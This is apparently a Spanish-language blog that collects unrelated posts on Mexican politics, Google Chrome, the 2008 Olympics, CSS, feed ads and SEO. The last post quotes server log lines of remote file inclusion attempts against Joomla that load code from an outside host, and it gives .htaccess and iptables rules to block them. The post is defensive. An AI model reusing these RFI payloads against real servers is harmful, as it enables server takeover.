19 años más tarde, el 15 de septiembre de 1829 el cuarto Presidente de México Vicente Guerrero expidió un decreto aboliendo cualquier forma de esclavitud en México, de eso ha pasado 182 años, 182 años siendo “Libres por Ley”.

Hay muchas versiones acerca de como México tuvo su independencia, en aquella época era muy difícil la comunicación. Pero no voy hablar de eso, sino acerca de como ha intervenido el Gobierno Mexicano en los medios de comunicación. Esto no es exclusivo de México, esto pasa en otros países.

Con la llegada del internet, la manera de comunicarnos, compartir ideas, relatar historias, informarnos acerca de lo que pasa en el mundo entero es algo sencillo de hacer, poder informarnos en tiempo real, poder compartir en tiempo real, poder acercarnos a nuestros amigos, seres queridos es algo de verdad magnífico, sin embargo; al gobierno Mexicano no le gusta que lo usemos para hacerlo quedar mal, que usemos la redes sociales para decirle al mundo que en México hay violencia, que nuestros gobernantes no han sido capaces de darnos tranquilidad, lamentablemente esto es cierto. ¿Por qué intentar callarnos? ¿Por que promover leyes para evitar que critiquemos el desempeño de los funcionarios? ¿Por que crear leyes para que nostros, los ciudadanos no hagamos uso de la crítica?  ¿dañar la imagen pública de políticos? Si los politicos no quieren que su imagen no sea dañada por la opinión pública ¿no deberían entonces actuar de manera respetable? La opinión pública siempre ha existido y siempre existirá, lo que no ha existido siempre, son plataformas de comunicación para conectarnos con personas que tienen opiniones similares, pero estas plataformas han llegado para quedarse,  no se puede ir contra la tecnología.

Hay un presupuesto desorbitado en esta “Lucha contra el narcotráfico” en México,  la estratégia de combatir la violencia con más violencia no ha dado resultados, estamos peor que nunca y esto no se puede ocultar, no se puede tapar el sol con un dedo,  ¿Por que no usar tecnología? Sería realmente increíble que el gobierno usara las redes sociales para alertarnos a nosotros los ciudadanos de las Zonas de Riesgo, que creara una aplicación móvil para la denuncia anónima, que se apoyara en nostros los ciudadanos para hacerla funcionar, que destinara el presupuesto en educación y fuentes de empleo, en programas que funcionan, como “Policia Ciudadana Solidaria”,  ”Taxista Vigilante”,  ”Botón Negocio Seguro”, programas necesitan la participación de la ciudadanía, programas que ayudaron a que Tuxtla Gutierrez  fuera Certificada como una Ciudad Segura.

¿Por que no usar tecnología? Espero estar equivocado, pero parece que al gobierno el importa poco o nada aceptar que su estratégia no funciona. Al parecer es más “interesante” gastar en ejército, combustible para helicópteros y tanques, al parecer es más fácil justificar gastos usando esta estratégia, que la verdad no es la más inteligente.

Este 15 de septiembre no me siento libre, cuando se propone una “Ley de Seguridad Nacional” que me quita libertad en nombre de la “Seguridad”, cuando hay en la cárcel ciudadanos acusados de terrorismo por usar redes sociales y se le da el titulo de terroristas comparándolos con los verdaderos terroristas del 15 de septiembre de hace 3 años en Morelia Michoacán que lanzaron dos granadas de mano, me siento ofendido de ver como el gobierno de mi querido país manipula leyes en vez de usar tecnología.

Yo  opino totalmente lo contrario, con más alternativas los usuarios finales obtenemos más calidad. Un producto único no se preocupa por mejorar, solo por el “marketing” y ganar dinero. Cuando hay más de un producto esto no pasa de la misma forma, las empresas se pelean por el mercado, y si bien Microsoft usó (usa) técnicas monopólicas para beneficiarse, está claro que su producto está perdiendo usuarios y esto es por falta de calidad, tiene buena publicidad y que mejor que ser el sistema operativo más usado e incluir su navegador por defecto y aún a pesar de esto perder usuarios.

Google podría hacer exactamente lo mismo, influenciar a todos sus usuarios a descargar su nuevo navegador y usar su publicidad para bombardear a todo mundo, pero creo que no serviría de nada si no ofrece un buen producto.

Sigo diciendo que Mozilla dio en el clavo al liberar su navegador y ofrecer Add-ons, mejor no lo pudo hacer, tiene una comunidad fiel a su lado. Apple por su lado su código cerrado le ha impedido entrar de lleno en la competencia, aunque su producto es bueno. Ni hablar de Microsoft, ellos en lo único que piensan es en hacer dinero, no digo que esté mal, pero queda en segundo término la grata experiencia del usuario.

Google lo que hizo fue impulsar la competitividad, estoy seguro que Mozilla responderá y Apple lo tendrá que hacer quizá liberando su código, sinceramente de Microsoft no espero mucho, aunque como comenté antes, quieren retomar el rumbo adentrándose al tema de los add-ons.

Update: Aparecen las primeras capturas de pantalla de Google Chrome

Vía Techcrunch me entero que aparecen las primeras capturas de pantalla y al parecer algunos videos donde se muestra la forma y el funcionamiento de este navegador.

Update 2: Ya esta disponible Google Chrome para su descarga (solo windows por ahora) Descarga Google Chrome

Lo bueno

Usain Bolt

Usain Bolt gana en atletísmo 100mts planos con un record impresionante de 9.69 segundos.
También rompió el record antes de Michael Johnson. en la categoría de 200 metros planos en un tiempo de 19.30 segundos.

Michael Phelps

Michael Phelps hizo algo que no veremos en muchos años, es el primer nadador en ganar 8 medallas de oro, superando a Mark Spitz que ganó 7 en Múnich 72.

Yelena Isinbayeva

Yelena Isinbayeva toda una campeona, ganó medalla de oro y rompió record del mundo (5.05 metros) en salto con garrocha.

Ranking	Marca	Atleta	Pais	Fecha	Lugar
1.	5.05	Yelena Isinbayeva	Rusia	18 de agosto de 2008	Beijin
2.	4.88	Svetlana Feofanova	Rusia	4 de julio de 2004	Iráklio
		Jennifer Stuczynski	Estados Unidos	2 de junio de 2007	Nueva York
4.	4,83	Stacy Dragila	Estados Unidos	8 de junio de 2004	Ostrava
		Anna Rogowska	Polonia	26 de agosto de 2005	Bruselas
6.	4.78	Tatyana Polnova	Rusia	4 de septiembre de 2004	Mónaco
7.	4.77	Annika Becker	Alemania	7 de julio de 2002	Wattenscheid
8.	4.75	Monika Pyrek	Polonia	28 de junio de 2006	Málaga
		Katerina Badurova	República Checa	2 de agosto de 2007	Osaka
10.	4.70	Ivonne Buschbaum	Alemania	29 de junio de 2003	Ulm
		Vanesa Boslak	Francia	28 de junio de 2006	Málaga

(tabla original: wikipedia)

Lo malo

Liu Xiang

Este atleta chino se lesionó antes de la clasificación y no pudo competir en los 110 metros con obstáculos (vallas). Liu era de los favoritos en esta categoría, fue una lástima no verlo competir contra el cubano Dayron Robles, que ganó sin problemas la medalla de oro.

Angel Valodia Matos

El cubano Angel Valodia Matos fue descalificado mientras peleaba por la medalla de bronce en Tae kwon do. Se enojó por la decisión del arbitró y lo agredió siendo despojado de por vida de la práctica de este deporte.

Lo impresionante

Las ceremonias de apertura y clausura

Ceremonia de apertura

Definitivamente los chinos nos sorprendieron a todos con las ceremonias de apertura y de clausura, el espectáculo fue de lo mejor.

Ceremonia de clausura

Realmente vale la pena tener entre nuestros videos de colección la ceremonia de apertura y la ceremonia de clausura, eso si, en Alta Definición.

Lo patriótico

México 2 de oro y 1 de bronce

Todo un país entero está con sus atletas en las olimpiadas, recordemos que ganar una medalla olímpica no es nada fácil.
Felicitaciones a:

Paola Espinoza y Tatiana Ortiz. Medalla de bronce en clavados sincronizados.

Guillermo Perez. Medalla de oro en taekwondo varonil.

María del Rosario Espinoza. Medalla de oro taekwondo femenil.

span.amp {
  font-family: Baskerville, Palatino, "Book Antiqua", serif;
  font-style: italic;
  }
<span class="amp">&amp</span>

El tipo de fuente le da la forma al ampersand, y el estilo itálico lo inclina sutilmente.

Se pueden lograr muchas formas del ampersand combinando diferentes tipografías y diferentes estilos de las fuentes.

Mac OS X

Windows XP

Windows Vista

Windows Vista añadió nuevas fuentes que empiezan por la letra C, claro que estas solo se visualizarán si las tenemos disponibles en la biblioteca de nuestras fuentes.

Via: SimpleBits

Pero bueno me ha tocado verlo, esperemos que esa tipografía no se vuelva la tipografía por defecto, por que realmente se ve muy, muy pero muy…. horrible.

La pregunta es, ¿Será rentable? mi pronostico es NO ¿la razón?, simplemente creo que los lectores de los feeds los usan (me incluyo) por la comodidad de leer de un solo vistazo sin imágenes innecesarias, de una manera clara y limpia el contenido de la información (posts, noticias, alertas, etc). No creo que el mercado de adsense sea grande en este sector que busca comodidad y limpieza en la lectura.

Habrá que ver de que manera se imprimirán los anuncios en los feeds, aun cuando el diseño no sea del todo molesto, surgirán servicios para filtrar exclusivamente la publicidad en los feeds.

No cabe duda que Google se mete hasta en la sopa, en lo personal uso Google Reader, si empieza a llenarse de publicidad creo que me tendré que mudar de lector de feeds, y no es que esté en contra de la publicidad, para nada, pero me resulta sumamente cómodo leer lo que necesito y nada más, ya que mi trabajo no me deja mucho tiempo para andar navegando entre blogs que aunque tienen buen contenido, las imágenes y la publicidad de todo tipo se encargan de complicarme las cosas.

Solo resta esperar a ver el diseño de los anuncios y la manera en que se muestran.

El articulo hablaba sobre los tags HTML más importantes, entre los cuales destacaban los tags <title>, atributos keywords y description del tag <meta>, <strong>, <p>, <a>, <h1>, <h2>, <h3> y atributos alt y title

Seomoz nos ofrece un documento en formato PDF con las recomendaciones que a su experiencia ayudan a mejorar el posicionamiento.

En el documento hacen énfasis al número de links que es recomendable tener por página, así como al tamaño del html y al número de variables en una dirección URL, también nos aconsejan usar una estructura del tag <title>, la cual en lo personal lo veo sumamente productiva, ya que nos ofrece reconocer la parte de un sitio simplemente con ver su título. La estructura que recomiendan es la siguiente:

Website Title | Category > Subcategory – Item

Modificar el archivo .htaccess, así como usar un sitemap en formato XML exclusivo para robots y otros tips importantes se pueden apreciar muy bien en el documento.

Yo agregaría usar el tag <acronym> como complemento, aunque se que no es un tag protagonista como los antes mencionados, pero el mal uso de este tag perjudica la óptima indexación de nuestro sitio. En algunos foros y blogs no recomiendan usarlo y pronostican que se perderá en un futuro. Sin embargo mi opinión es que los tags <abbr> y <acronym> son tags que ofrecen que los lectores tengan una lectura más amena. W3C recomienda usar estos tags, sin embargo hay personas que tienen problemas para diferenciar su función y creo que es la principal razón por la cual los buscadores no tengan resultados óptimos en sus algoritmos con estos tags.

La diferencia entre <abbr> y <acronym> es muy simple:

<abrr>: se usa para denotar una abreviación, no hay vuelta de hoja. Ejemplo WWW

<acronym>: se usa para denotar un acrónimo. Un acrónimo son siglas que se leen como una palabra. Ejemplo ovni

El problema surge cuando aplicamos usar <abbr> y <acronym> como remplazo de paréntesis para tener una mejor apariencia.

Mal uso de <abbr> y <acronym> : El día de ayer actualicé mi blog bla bla bla

W3C deja muy claro el correcto uso de estos tags, y los robots de los buscadores se apegan (o deberían) apegarse a él. Es por eso que usar estos tags para fines distintos a los destinados ofuscan los resultados de la indexación web (aunque no es para tanto, pero se debería de usar correctamente).

Un tag que si me parece importantísimo es el tag <em> que en sirve para hacer énfasis a lo que contiene, en otras palabras, usa este tag para resaltar lo importante.

Usar los tags correctamente hace más fácil el trabajo a los robots y ayudamos a tener una blogsfera muy limpia al mismo tiempo que cumplimos los estándares webs.

Bueno pues veo que cada vez hay un mayor número de estas “herramientas” (para kiddies) que no hacen otra cosa que hacernos perder el tiempo.

Voy a dedicar una sección en este blog para hablar acerca de estas herramientas, pero primero, lo primero.

217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”

Como podrán ver en esos logs, hacen peticiones hacia archivos específicos. Por el nombre de los directorios se puede deducir claramente que los directorios que buscan pertenecen a la estructura de el CMS Joomla.

Deben de usar un scanner de ips, por que ni siquiera se tomaron la molestia de verificar si en este servidor hay Joomla instalado (no, no hay, ni lo habrá).

Algunos blogs recomiendan bannear ese user-agent “Morfeus Fucking Scanner”, lo cual si serviría temporalmente, ya que cambiando el user-agent del scanner se soluciona el asunto.

Para bloquear ese scanner por medio de su user-agent basta con agregar esto al .htaccess

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Morfeus
RewriteRule ^.*$ - [F]
Con estas líneas se le denegaría el acceso al user-agent, pero no a la ip.

Otros recomiendan devolverles el favor a los espías con estas líneas
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (^Morfeus) [NC]
RewriteRule .* http://%{REMOTE_ADDR} [r=301,l]
Con las líneas anteriores se hace un forwarding a la misma ip de donde proviene el ataque. Pero al igual que con el código anterior, solo se le denegará el acceso al user-agent y no a la ip.

Yo recomiendo agregar reglas para banear las ips.
iptables -A INPUT -s LAIP -j DROP

Pero si no tenemos acceso a las iptables, también podremos bannear a los espías mediante el archivo .htaccess de la siguiente manera:

#Morfeus Fucking Hacker
deny from 217.118.2.160

Se que es algo molesto andar editando el archivo cada vez que un nuevo espía se acerque a nosotros, pero es mejor que podemos hacer sino tenemos acceso para bannear desde iptables.

¿Pero que ganan exactamente los espías al encontrar lo que buscan?

Bueno pues pongamos atención a la siguiente línea:

217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”

Lo que buscan hacer se llama RFI (Remote File Inclusion) que consiste según wikipedia en:

Remote File Inclusion, traducido al español como Inclusión Remota de Archivos – vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include().

En pocas palabras ellos cuelgan un archivo en otro servidor (En este caso http://dwlz2.dwlz2.com/~dwlz2/ice.txt) que tiene código PHP que permite al atacante tomar control sobre el servidor, o al menos, usar código PHP para construir scripts para funciones específicas (spam, defaces, craking, etc). Verdaderamente es de extrema importancia cuidarnos de este tipo de ataques, ya que muchas cosas se ven comprometidas (Incluso la Base de datos).